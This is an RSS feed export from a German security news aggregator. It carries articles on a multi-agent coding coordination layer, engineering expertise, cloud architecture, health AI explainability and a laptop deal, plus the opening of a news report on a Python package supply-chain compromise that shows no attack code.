<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
<title><![CDATA[tsecurity.de - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=decorator+pattern%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 08 Aug 2026 21:45:07 +0200</lastBuildDate>
<pubDate>Sat, 08 Aug 2026 21:45:07 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 tsecurity.de - 📰 Alle Kategorien</copyright>
<managingEditor>tsecurity.de (tsecurity.de)</managingEditor>
<webMaster>tsecurity.de (tsecurity.de)</webMaster>
<image>
<url>https://tsecurity.de/templates/mydraft-basis-isharestuff-com/media/logo.png</url>
<title><![CDATA[tsecurity.de - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=decorator+pattern%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/alle-kategorien.xml?q=decorator+pattern%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Four AI agents coordinating in real time outperformed Claude Opus 4.8 on enterprise coding tasks]]></title>
<description><![CDATA[As enterprise codebases grow, AI agents tasked with analyzing them are buckling under the weight of long-horizon tasks that require multiple interactions and tool calls. Dividing the work among a team of agents seems like the obvious fix, but it introduces a fatal flaw: most multi-agent systems a...]]></description>
<link>https://tsecurity.de/de/3710986/it-nachrichten/four-ai-agents-coordinating-in-real-time-outperformed-claude-opus-48-on-enterprise-coding-tasks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710986/it-nachrichten/four-ai-agents-coordinating-in-real-time-outperformed-claude-opus-48-on-enterprise-coding-tasks/</guid>
<pubDate>Sat, 08 Aug 2026 03:30:47 +0200</pubDate>
<content:encoded><![CDATA[<p>As enterprise codebases grow, AI agents tasked with analyzing them are buckling under the weight of long-horizon tasks that require multiple interactions and tool calls. Dividing the work among a team of agents seems like the obvious fix, but it introduces a fatal flaw: most multi-agent systems are not designed for agents to coordinate among themselves mid-task and in real time.</p><p>To solve this, researchers at Coral AI Labs and multiple universities introduced <a href="https://arxiv.org/abs/2607.28430">AgentRadio</a>, an asynchronous message-passing layer that allows agents to communicate between their execution steps without interrupting their main work. In real-world enterprise applications where subtasks are highly interdependent, this architecture enables agents to make mid-course corrections rather than continue on dead-end paths until a formal review phase.</p><p>On a benchmark of long-horizon questions over production repositories, a team of agents powered by AgentRadio nearly doubled task accuracy for four Claude Code agents working independently. It also outmatched single agents running on more advanced models. For AI practitioners, AgentRadio shows that the right coordination structure can outmatch raw compute and model scale.</p><h2>The challenge of codebase understanding</h2><p>LLM-based agents are increasingly capable of handling long-horizon tasks that require interacting with different tools and environments. Codebase understanding represents an extreme version of this challenge. It requires an AI agent to build the software, execute it, trace execution paths across multiple files, and synthesize evidence over extended periods.</p><p>Under these conditions, single-agent systems usually break down because of a “coverage problem.” </p><p>"A single agent follows one serial path through the repository," Xinxing Ren, Caelum Forder, and Peter Carroll, co-authors of the AgentRadio paper, explained to VentureBeat. As its context grows, "the initial plan becomes harder to revise and discoveries made late in the investigation do not always propagate." The model can usually execute individual steps, but "the hard part is keeping every obligation, dependency, and piece of contradictory evidence active across a long investigation."</p><p>One benchmark that helps measure AI performance on large codebases is <a href="https://huggingface.co/datasets/ScaleAI/SWE-Atlas-QnA">SWE-Atlas QnA</a>. This benchmark consists of long-horizon, natural-language questions over live production repositories. The tasks can’t be solved by just exploring the code. AI agents must run the software and execute multiple commands to find the answers.</p><p>According to the research team’s experiments, a single Claude Code instance running on Opus 4.6 resolves just 32.3% of these tasks. Upgrading to a newer, more advanced model like Opus 4.8 only yields a 57.2% success rate.</p><p>A natural remedy is to distribute the workload across multiple agents, allowing each to work with a smaller, cleaner context. Multi-agent solutions can provide substantial performance gains when tasks are cleanly decomposable, meaning they can be solved separately and merged at the end.</p><p>Codebase understanding, however, is rarely cleanly decomposable. The subtasks are highly interdependent. A critical configuration file or a bug uncovered by one agent can completely rewrite or redirect the entire exploration path of another agent. Because of these dependencies, agents must coordinate, negotiate, and share intermediate discoveries in real time.</p><p>Despite this need, asynchronous multi-agent communication is rare. The researchers point out that existing multi-agent systems generally fall into three flawed patterns:</p><ul><li><p><b>Parallel but isolated:</b> Agents operate simultaneously but do not communicate at all.</p></li><li><p><b>Parallel but round-synchronized:</b> Agents can communicate, but only at strict, synchronized round boundaries. This forces agents to stop and wait for one another to finish a round before they can debate or exchange intermediate findings. Round-based systems assume that important discoveries can wait until the next communication phase, which is an expensive assumption when agents are working on interdependent parts of a live system. For example, an agent investigating an API symptom might uncover evidence that invalidates the storage agent's current hypothesis. "If that information waits until both agents finish, the storage investigation may complete along the wrong path," the researchers said.</p></li><li><p><b>Asynchrony in adjacent forms:</b> These systems offer limited asynchronous features, such as top-down task dispatching. They don’t have peer-to-peer lateral channels between agents or shared memories that require an agent to actively pause its work to read updates.</p></li></ul><p>In their paper, the researchers point out that the main bottleneck hindering current multi-agent systems is that “an agent that is working cannot also be listening.”</p><p>“To our knowledge, no existing system gives concurrently working agents passive awareness of one another over a lateral, natural-language channel,” the researchers write.</p><h2>How AgentRadio works</h2><p>To dissolve the mutual exclusion between working and listening, the researchers developed AgentRadio, an asynchronous message-passing layer designed to plug directly into existing coding-agent harnesses.</p><p>AgentRadio equips agents with three primitives:</p><ul><li><p>The <b>create_thread</b> primitive opens a conversation between participating agents.</p></li><li><p>The <b>send_message</b> primitive appends a message to a thread and returns without blocking the sending agent.</p></li><li><p>The <b>wait_for_mention</b> primitive blocks the process until a message mentioning the caller arrives. It delivers the message along with a full snapshot of all threads so the agent has instant context. </p></li></ul><p>This trio enables agents to have a state of “passive awareness,” where they can continue their primary tasks while passing messages and updating their knowledge in the background.</p><p>AgentRadio's code is available under the Apache 2.0 license on <a href="https://github.com/Coral-Protocol/AgentRadio">GitHub</a>. It is designed to be lightweight, requiring no direct modifications to the underlying agent harnesses like Claude Code or Codex CLI. </p><p>The architecture consists of two main parts:</p><ul><li><p><b>The message server:</b> A standalone process that acts as the central hub, storing all active threads, messages, and mentions for the group of agents.</p></li><li><p><b>Harness-side integration:</b> Agents interact with the server using three simple shell scripts, one corresponding to each primitive.</p></li></ul><p>The only strict requirement for the system to work is that the agent harness must be able to run a shell command as a background task. The agents are instructed in their system prompts to keep one watcher running and to send messages through the provided scripts. Running the wait_for_mention script in the background allows the agent to continue its work and receive notifications asynchronously.</p><p>To integrate this into an existing stack, a team still needs a "thin adapter that starts the workers, assigns identities, connects them to the shared server, and manages final synthesis," the researchers said. That work sits around the coding agent rather than requiring changes to the underlying model.</p><h2>AgentRadio in action</h2><p>To validate the real-world utility of AgentRadio, the researchers tested the framework on 124 tasks from the SWE-Atlas QnA benchmark. The tests covered domains including system design, root-cause analysis, security, and API integration.</p><p>The researchers used Claude Opus 4.6 and DeepSeek V4 Pro as the backbone models. For the harness, they evaluated configurations ranging from a single Claude Code agent (B0) to a team of agents with classic division of labor (L1), up to a team of agents using AgentRadio to coordinate asynchronously (L3).</p><p>The experimental results showed that the AgentRadio communication architecture outperforms both naive multi-agent setups and raw compute scaling.</p><p>While a single Claude Code agent with Opus 4.6 resolved only 32.3% of the tasks, the full AgentRadio setup nearly doubled that metric, resolving 62.1% of the tasks, and surpassed the single agent running on Opus 4.8, which hit 57.2%. It also boosted the DeepSeek V4 Pro results from 29.0% to 50.8%. </p><p>To understand how this practically impacts enterprise AI, the paper highlights a real-world task involving a MinIO system. Solving the task required checking per-request server logs, a requirement the agents did not anticipate during their initial planning phase.</p><p>In the L2 setting, where agents collaborate but lack asynchronous communications, two agents independently realized they needed these logs while executing commands. Because they could not share this finding mid-execution, one agent gave up privately and the other failed to propose it to the team. During the review phase, the team unanimously agreed on the wrong answer, missing five rubrics.</p><p>With AgentRadio activated, the agents made the same mid-execution discovery, but one agent instantly broadcasted the required server-side log evidence to the shared worklog. Because the other agents were passively listening, they absorbed this new evidence immediately. This real-time coordination transformed a failing score into a perfect 16 out of 16.</p><p>"The useful distinction is timing," the researchers said. "The team did not need another agent or another review round. It needed one agent's discovery to reach the right peers before its operational value expired."</p><p>The researchers note that the same pattern appears in enterprise incident work. For example, an agent investigating an API symptom might uncover evidence that invalidates the storage agent's current hypothesis. If that information waits until both agents finish, the storage investigation may complete along the wrong path. “Passive awareness lets the second agent incorporate the contradiction at its next work step without interrupting a command already in progress,” they said.</p><h2>The cost and complexity of coordination</h2><p>AgentRadio requires a fixed multi-agent team budget, which inherently multiplies the token cost. The researchers acknowledge that the "tax is real," noting that average API spend rose from $2.96 per task for one Opus agent to $19.45 for the full AgentRadio stack.</p><p>However, raw scale does not equal performance. When researchers compute-matched the test by spending $17.76 on six independent Opus runs, the models only resolved 37.9% of tasks, compared with 62.1% for AgentRadio. This suggests that AgentRadio's architecture is a structural win, not just a brute-force scale win. Teams should still be aware of inter-agent churn. "Communication can redirect an agent toward better evidence, and it can also distract an agent from a valid path," the researchers warned.</p><p>A fixed multi-agent team should not become the default response to every engineering task. The more useful test to determine if a multi-agent setup is required is whether the task contains "responsibility breakpoints," the researchers said. These are places "where a competent engineer would involve another person because the work crosses an ownership boundary, needs an independent hypothesis, or carries enough risk to justify separate verification."</p><p>“Coordination is a strong fit when the task can be decomposed, the resulting parts remain interdependent, the single-agent success rate is unreliable, and an incomplete answer has a meaningful downstream cost,” the researchers said. Examples include repository-wide architecture questions, unfamiliar legacy systems, cross-service incident investigation, security analysis, dependency migrations, and multi-module refactors.</p><p>Conversely, a single agent remains the cleaner choice for “bounded, local, and reversible work,” such as a known one-file change or boilerplate generation. </p><p>“Use one agent while one context can still own the problem honestly,” the researchers said. “Introduce another responsibility when the existing agent would otherwise need to compress away evidence, cross an independent ownership boundary, or verify its own high-impact conclusion.”</p><h2>From research to commercialization: Coral Code</h2><p>While AgentRadio serves as a controlled research implementation using a fixed four-agent team and a five-phase protocol, the underlying principles are being adapted into a commercial product called <a href="https://coralcode.dev/">Coral Code</a>.</p><p>Instead of a rigid, multi-agent protocol applied to every ticket, Coral Code works from the bottom up. An engineer begins with their existing coding agent, and Coral introduces repository-scoped investigation, specialist responsibility, and communication only when the emerging evidence justifies it. "Coral packages the operational concerns around the tools engineers already use, providing the repository context, scoped specialists, communication, and evidence layer around the harness rather than inside it," the researchers said.</p><p>This dynamic approach optimizes costs by targeting the relevant unit: the cost of a completed, reviewable outcome. </p><h2>The future of autonomous software engineering</h2><p>While AgentRadio provides a major upgrade to agent orchestration, there are still hurdles to overcome. One major bottleneck that the researchers pointed out to is “attention governance and verification.”</p><p>“Passive awareness makes communication available during execution. It does not decide which agents should exist, which discovery deserves an interruption, who should receive it, or when the evidence is strong enough to revise the plan,” the researchers said. If every agent receives every update, the communication layer becomes noise. If several agents share the same bad assumption, faster communication can spread the error.</p><p>For example, in one of the case studies in the paper that involved the <a href="https://github.com/grafana/grafana">Grafana platform</a>, four of nine rubrics required negative conclusions, such as observing that a datasource picker did not select automatically. The agents ran the relevant tests, yet none formed the missing negative hypothesis. Both configurations failed the four rubrics. </p><p>“Passive awareness can distribute an idea that somebody develops. It cannot supply a conception that never appears anywhere in the team,” the researchers said.</p><p>As task durations stretch longer, communication and coordination become critical. "The next generation of systems… needs adaptive responsibility assignment, evidence-aware routing, conflict resolution, explicit cost limits, permissions, recovery, and clear human escalation points," the researchers note. Most importantly, it requires durable provenance so engineering leads can inspect which agent made a claim and why an action was accepted.</p><p>"Longer-running agents make communication more important. They also make accountability much harder to fake," they said.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What we lose when every engineer can do everything]]></title>
<description><![CDATA[Four months ago, a front-end engineer on my team looking to make upgrades to a product or feature would have filed a ticket and waited for the infrastructure group to unblock them. They might have lost a day, sometimes a week. Today, that same engineer makes changes themselves. The code is occasi...]]></description>
<link>https://tsecurity.de/de/3710954/ai-nachrichten/what-we-lose-when-every-engineer-can-do-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710954/ai-nachrichten/what-we-lose-when-every-engineer-can-do-everything/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months ago, a front-end engineer on my team looking to make upgrades to a product or feature would have filed a ticket and waited for the infrastructure group to unblock them. They might have lost a day, sometimes a week. Today, that same engineer makes changes themselves. The code is occasionally brittle, but it works, and the end result ships in a fraction of the time it used to take.</p>



<p class="wp-block-paragraph">That small story is unfolding inside nearly every engineering organization right now. While some celebrate the sudden fact that one person can do the work of five, others are focused entirely on tech industry layoffs. Both perspectives skip the question I find more interesting: What happens to mastery when every engineer can suddenly do everything?</p>



<p class="wp-block-paragraph">For two decades, we have described strong engineers as T-shaped. The horizontal bar represents breadth, which is a working familiarity across many areas. The vertical bar represents depth, the real command of one domain earned over years. Agent tooling has stretched that horizontal bar wider than ever before. My concern is the vertical bar, which is quietly getting shorter.</p>



<p class="wp-block-paragraph">Consider what is now possible in a single quarter. With the right agent harness, one engineer can stand up a billing system, a data connector framework, regional and organizational tenancy infrastructure, or a consumption-based pricing implementation. The pull requests pass review. The tests are green. All looks good. But green tests cannot tell you if the person who shipped that work understood why the system needs redundancy in one specific place, where its failure modes are hiding, or which trade-offs the model made silently on their behalf. The pattern recognition that comes from watching systems fail over many years is suddenly weighted differently than it was even 12 months ago. Our industry has not caught up to that shift.</p>



<h2 class="wp-block-heading">When the interview stops measuring judgment</h2>



<p class="wp-block-paragraph">The first place this surfaces is hiring, a trend that should concern anyone who has built a team. Traditional coding interviews were always an imperfect proxy for engineering judgment, but agent tooling completely obliterates them. If a candidate can produce a working solution in 20 minutes that would have taken two hours a year ago, the exercise no longer measures technical competence. It just measures how well a coder can prompt an agent.</p>



<p class="wp-block-paragraph">At Thread AI, we have responded by widening what we look at when we interview job candidates. Our process moves across coding exercises, problem decomposition, system architecture, and behavioral components, with the weighting shifting by role. We allow AI assistance only in specific sections because our engineers still need to be able to operate without it. Some of our work happens in secure environments where you cannot lean on an agent to debug for you. What we’re really testing for now is judgment under ambiguity — the ability to notice when an agent’s output is confidently wrong — and the depth to predict where a system will break before it breaks.</p>



<p class="wp-block-paragraph">Hiring teams that fail to make this shift will fill their rosters with false positives. They will hire people who interview like experts but struggle the first time a system behaves in a way the model did not anticipate. Ultimately, these companies will miss out on top-tier talent, and they won’t discover the misstep until it’s too late.</p>



<h2 class="wp-block-heading">Confusing velocity with understanding</h2>



<p class="wp-block-paragraph">That brings me to a larger risk: the rise of false expertise as a category of its own. Historically, the reasoning has gone, “I built a proof of concept, therefore I am an expert.” I have watched versions of this appear in technical leadership, in investment decisions, and in policy conversations about AI. It travels well because the artifact looks real. A working demo is highly persuasive, even when the person behind it only half-understands how it functions.</p>



<p class="wp-block-paragraph">The problem is bigger than one false expert shipping one bad product; an organization can absorb that. The real risk is a generation of consequential decisions being made by people who have confused velocity with understanding. You can already see the cultural scaffolding being built around this with the celebration of the “idea guy,” and the sudden fashion for invoking “taste” as a substitute for knowing how a system actually works. Those of us shaping tooling, hiring norms, and regulations have a narrow window to set better defaults before this pattern hardens into the way the industry operates.</p>



<h2 class="wp-block-heading">Depth and breadth, held together</h2>



<p class="wp-block-paragraph">This is the path we’ve been walking at Thread AI since before the latest wave of tooling arrived.</p>



<p class="wp-block-paragraph">To ground this in a specific example: I have spent 15 years building complex systems. I worked at Goldman Sachs through the financial crisis and the early Dodd-Frank infrastructure, moved critical payment systems into the cloud at <em>The New York Times</em> when that ground was still new, and built the system of record for model training and evaluation at Palantir across highly regulated environments in defense, health, and finance. This experience is the superpower that lets me course-correct an agent when it produces confident-but-wrong output.</p>



<p class="wp-block-paragraph">I felt this sharply not long ago while scoping consumption-based pricing in a single quarter. The agents did an enormous amount of the heavy lifting, and at some point, I realized that my largest contributions to the effort were knowing where the system would fail and steering around it before we got there. I have also seen how organizations have built large teams around efforts like these in the past. Someone earlier in their career or relying purely on AI guidance would not have had that instinct to draw on. That is the part the public conversation keeps missing.</p>



<p class="wp-block-paragraph">Every engineer at Thread AI, regardless of seniority, is expected to be a builder at heart. Our people own outcomes across compute, data, and the organizational and identity primitives that hold the product together, all without the traditional product-manager and project-manager scaffolding around them. Our model works only because the people in those seats have the depth to know what they do not know, and the breadth to fill the gaps with agents. They use the tooling instead of being used by it.</p>



<h2 class="wp-block-heading">AI doesn’t replace deep understanding</h2>



<p class="wp-block-paragraph">The core issue facing organizations today is not whether AI will replace engineers. That question has been answered dozens of times this year with varying degrees of nuance, and it has stopped being interesting. The more useful question for anyone running a company is whether we are protecting the people who understand our systems deeply enough to recognize when the machines are wrong.</p>



<p class="wp-block-paragraph">In our company, the answers have been to move toward explicit end-to-end ownership, and to hire for depth and breadth together rather than treating them as a trade-off. Layoffs dominate the headlines because they are an easy narrative, but they describe a symptom rather than the actual choice in front of us. The real choice is whether we let breadth quietly stand in for mastery, or whether we build organizations that keep human judgment in the loop on purpose. </p>



<p class="wp-block-paragraph">In an era when software can be generated faster than it can be understood, the companies that hold onto what is human, verifiable, and deeply understood will be the ones still standing when the brittle parts give way.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three concepts cloud architects overlook]]></title>
<description><![CDATA[After two decades of cloud architecture consulting, I see an unchanging pattern in enterprise deployments. Organizations approach me with unexpectedly high cloud bills, operational chaos, and architectures that look good on paper but cause headaches in production. The common thread is almost alwa...]]></description>
<link>https://tsecurity.de/de/3710959/ai-nachrichten/three-concepts-cloud-architects-overlook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710959/ai-nachrichten/three-concepts-cloud-architects-overlook/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">After two decades of cloud architecture consulting, I see an unchanging pattern in enterprise deployments. Organizations approach me with unexpectedly high cloud bills, operational chaos, and architectures that look good on paper but cause headaches in production. The common thread is almost always the same. Fundamental concepts that should be foundational to any cloud deployment are treated as optional or ignored altogether.</p>



<p class="wp-block-paragraph">I’m not talking about exotic requirements, bleeding-edge technologies, or vendor-specific best practices. Basic engineering principles are somehow getting lost amid the excitement of cloud adoption. I wish I could say it’s rare, but after working with organizations across industries and geographies for years, I can confirm that missing these fundamentals is more common than most people realize. The results are predictable. Bills grow faster than business value, architectures require constant firefighting, and teams are stretched too thin to optimize anything.</p>



<p class="wp-block-paragraph">The good news? You don’t have to start over, but you do have to go back to basics. Here are three concepts most cloud architects overlook that will make your architecture dramatically more valuable and efficient.</p>



<h2 class="wp-block-heading">Identifying common ground</h2>



<p class="wp-block-paragraph">When deploying heterogeneous architecture, especially in <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud </a>environments, organizations must aggressively reduce silos. This means establishing common control planes for security, governance, and operations. You won’t get there by relying on whatever proprietary technology each cloud provider offers out of the box. Each provider wants you locked into their way of managing things. That is fine for simple deployments, but when you are running across multiple clouds and on-premises systems, proprietary control planes introduce redundancy, complexity, and cost.</p>



<p class="wp-block-paragraph">You need a single control layer that spans your entire environment. Instead of managing 10 different security solutions from 10 different providers, you have one. Instead of separate <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity management systems</a> for each cloud, you need one that works everywhere. This eliminates the need to change security parameters in five different consoles, maintain five different skill sets for five different operational models, and reconcile five different governance frameworks. The common control plane ties everything together.</p>



<p class="wp-block-paragraph">This might sound hard, but it’s not as bad as you think. (I will cover the specific patterns in a future article.) The real issue is that most architects have never been trained to think this way. They were taught to select the best services from each provider rather than abstract away the differences. This fundamental gap costs organizations real money every single day.</p>



<h2 class="wp-block-heading">Cost observability and optimization</h2>



<p class="wp-block-paragraph">Most architects treat cost visibility and optimization as afterthoughts, things that can be bolted on after the architecture is in place. That backward approach shows up in the results. Without <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html" data-type="link" data-id="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cost observability and optimization</a> baked into your architecture from day one, you cannot understand where your money is going, where waste is accumulating, or where you should make changes to align expenses with delivered value.</p>



<p class="wp-block-paragraph">The more complex and heterogeneous your environment, the more critical this becomes. You need a unified cost observability layer that spans public and private clouds and your own infrastructure. This is about building a layer that aggregates cost data from everywhere, provides a single source of truth for spending, and delivers the insights needed to actively optimize. Without this, you are flying blind, making decisions based on incomplete data and discovering problems only after the invoice arrives.</p>



<p class="wp-block-paragraph">Too many organizations fail to gain control of their cloud spending because their billing data is scattered across multiple consoles, with no way to correlate usage across providers. They cannot see which teams, projects, or services are driving costs. They miss opportunities to right-size, consolidate, or eliminate waste. You cannot improve what you cannot measure. Without a common cost observability and optimization layer built into your architecture, you will never achieve the efficiency the cloud was supposed to deliver.</p>



<h2 class="wp-block-heading">Consider the human element</h2>



<p class="wp-block-paragraph">Here is an uncomfortable truth most architects do not want to discuss: The more complex your architecture is, the broader the range of skills you will need to keep it running. Complexity requires expertise, and expertise requires hiring, training, and retention. If your architecture demands 15 different skill sets to operate, you’d better have a plan for finding and retaining the people with those skills.</p>



<p class="wp-block-paragraph">I have seen beautifully designed architectures fail because the organization could not meet hiring requirements. They compromised by hiring underqualified individuals, which led to operational failures, security gaps, and mounting technical debt. The architecture itself was sound. The human infrastructure around it was not. This is a solvable problem. It starts with acknowledging that you are not designing for yourself. You are designing for the team that will inherit this system after you have moved on to your next assignment or promotion.</p>



<p class="wp-block-paragraph">The solution isn’t just simplifying architecture, though that should be a goal. The key is to consider human factors in your design. What skills are required? How can you find and train people? What cultural changes are necessary for effective operation? These questions are essential; ignoring them risks failure.</p>



<h2 class="wp-block-heading">The simple bottom line</h2>



<p class="wp-block-paragraph">I understand why most cloud architects miss these basic principles. No single course or book brings all of this together in one place. Cloud architecture has become a collection of best practices, vendor recommendations, and conference talking points, rather than a disciplined engineering discipline focused on business value.</p>



<p class="wp-block-paragraph">As a result, architectures end up optimized in the wrong places, if they are optimized at all. They are expensive to run, difficult to secure, and nearly impossible to operate at scale without constant intervention. The cloud promises efficiency, yet we are not delivering it because we have lost sight of the fundamentals.</p>



<p class="wp-block-paragraph">It’s time to go back to basics. Commonality, human factors, and cost observability and optimization are the three things that separate architectures that create value from those that create cost. Incorporate these concepts into your architecture and you’ll get ahead of most production systems in use today.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why health AI interfaces must adapt to user expertise]]></title>
<description><![CDATA[MIT researchers and collaborators found that AI explainability tools in the health sector can produce sharply different results depending on who uses them. When applied to skin disease diagnosis, non-experts improved their accuracy with AI assistance, although the improvement largely came from de...]]></description>
<link>https://tsecurity.de/de/3710914/ai-nachrichten/why-health-ai-interfaces-must-adapt-to-user-expertise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710914/ai-nachrichten/why-health-ai-interfaces-must-adapt-to-user-expertise/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:36 +0200</pubDate>
<content:encoded><![CDATA[<p>MIT researchers and collaborators found that AI explainability tools in the health sector can produce sharply different results depending on who uses them. When applied to skin disease diagnosis, non-experts improved their accuracy with AI assistance, although the improvement largely came from deferring to the model. Primary care providers showed a different pattern: they performed […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/why-health-ai-interfaces-must-adapt-to-user-expertise/">Why health AI interfaces must adapt to user expertise</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[B&H's $1,349 M5 MacBook Air deal with 24GB RAM ends this weekend]]></title>
<description><![CDATA[The upgraded M5 MacBook Air has 24GB of memory to boost performance, and it's $150 off this weekend only.Apple's M5 MacBook Air with 24GB of RAM is on sale at B&H - Image credit: AppleB&H's best-selling 13-inch MacBook Air configuration is $150 off as part of the Apple Authorized Reseller's broad...]]></description>
<link>https://tsecurity.de/de/3710770/ios-mac-os/bhs-1349-m5-macbook-air-deal-with-24gb-ram-ends-this-weekend/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710770/ios-mac-os/bhs-1349-m5-macbook-air-deal-with-24gb-ram-ends-this-weekend/</guid>
<pubDate>Sat, 08 Aug 2026 00:40:52 +0200</pubDate>
<content:encoded><![CDATA[The upgraded M5 MacBook Air has 24GB of memory to boost performance, and it's $150 off this weekend only.<br><br><div><img src="https://media.appleinsider.com/gallery/68506-144340-m5-macbook-air-24gb-ram-deal-xl.jpg" alt="Open MacBook Air laptop with abstract blue pattern on the screen, overlaid by a teal banner reading M5 AIR 24GB RAM, against a bright yellow and blue gradient background"><br><span>Apple's M5 MacBook Air with 24GB of RAM is on sale at B&amp;H - Image credit: Apple</span></div><br>B&amp;H's best-selling 13-inch MacBook Air configuration is <strong><a href="https://www.bhphotovideo.com/c/product/1957223-REG/apple_mba_m5_14_13_macbook_air_m5.html/BI/1717/KBID/2301/SID/pg-maca-13in-m5-24gb-1349-080626" rel="nofollow" target="_blank">$150 off</a></strong> as part of the Apple Authorized Reseller's broader <a href="https://appleinsider.com/articles/26/08/06/last-call-to-save-up-to-200-on-m5-macbook-air-laptops">M5 MacBook Air sale</a>. What makes this particular model especially appealing is its upgrade to 24GB of RAM.<br><br><a href="https://www.bhphotovideo.com/c/product/1957223-REG/apple_mba_m5_14_13_macbook_air_m5.html/BI/1717/KBID/2301/SID/da-maca-13in-m5-24gb-1349-btn-080626" rel="nofollow" class="deal-highlight">Buy 13" MacBook Air 24GB RAM for $1,349</a><br><br><br> <a href="https://appleinsider.com/articles/26/08/07/bhs-1349-m5-macbook-air-deal-with-24gb-ram-ends-this-weekend?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245201?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Python package security in 2026: How supply chain attacks are targeting your AI development environment]]></title>
<description><![CDATA[On March 24, 2026, developers building AI applications with LiteLLM — a Python package with 95 million monthly downloads — unknowingly installed malicious code. A threat actor group known as TeamPCP had compromised the PyPI distribution pipeline and pushed malicious versions 1.82.7 and 1.82.8 to ...]]></description>
<link>https://tsecurity.de/de/3710444/it-security-nachrichten/python-package-security-in-2026-how-supply-chain-attacks-are-targeting-your-ai-development-environment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710444/it-security-nachrichten/python-package-security-in-2026-how-supply-chain-attacks-are-targeting-your-ai-development-environment/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:24 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">On March 24, 2026, developers building AI applications with <a href="https://www.litellm.ai/" target="_blank" rel="noreferrer noopener">LiteLLM</a> — a Python package with 95 million monthly downloads — unknowingly installed malicious code. A threat actor group known as TeamPCP had compromised the PyPI distribution pipeline and pushed malicious versions 1.82.7 and 1.82.8 to the package index. The payload was subtle: a .pth file, a little-known Python mechanism that auto-executes code every time the interpreter starts. If you installed either compromised version, malicious code ran silently — no explicit import needed.</p>



<p class="wp-block-paragraph">That is not the exception anymore. It is the pattern.</p>



<h2 class="wp-block-heading">What is actually happening</h2>



<p class="wp-block-paragraph"><a href="https://www.reversinglabs.com/blog/software-supply-chain-security-report" target="_blank" rel="noreferrer noopener">ReversingLabs reports</a> that malicious open-source packages rose by 73% in 2026. The LiteLLM attack was part of a broader campaign by TeamPCP that systematically compromised widely trusted open-source security tools — including Aqua Security’s Trivy and Checkmarx’s KICS — before moving into AI infrastructure libraries hosted on PyPI.</p>



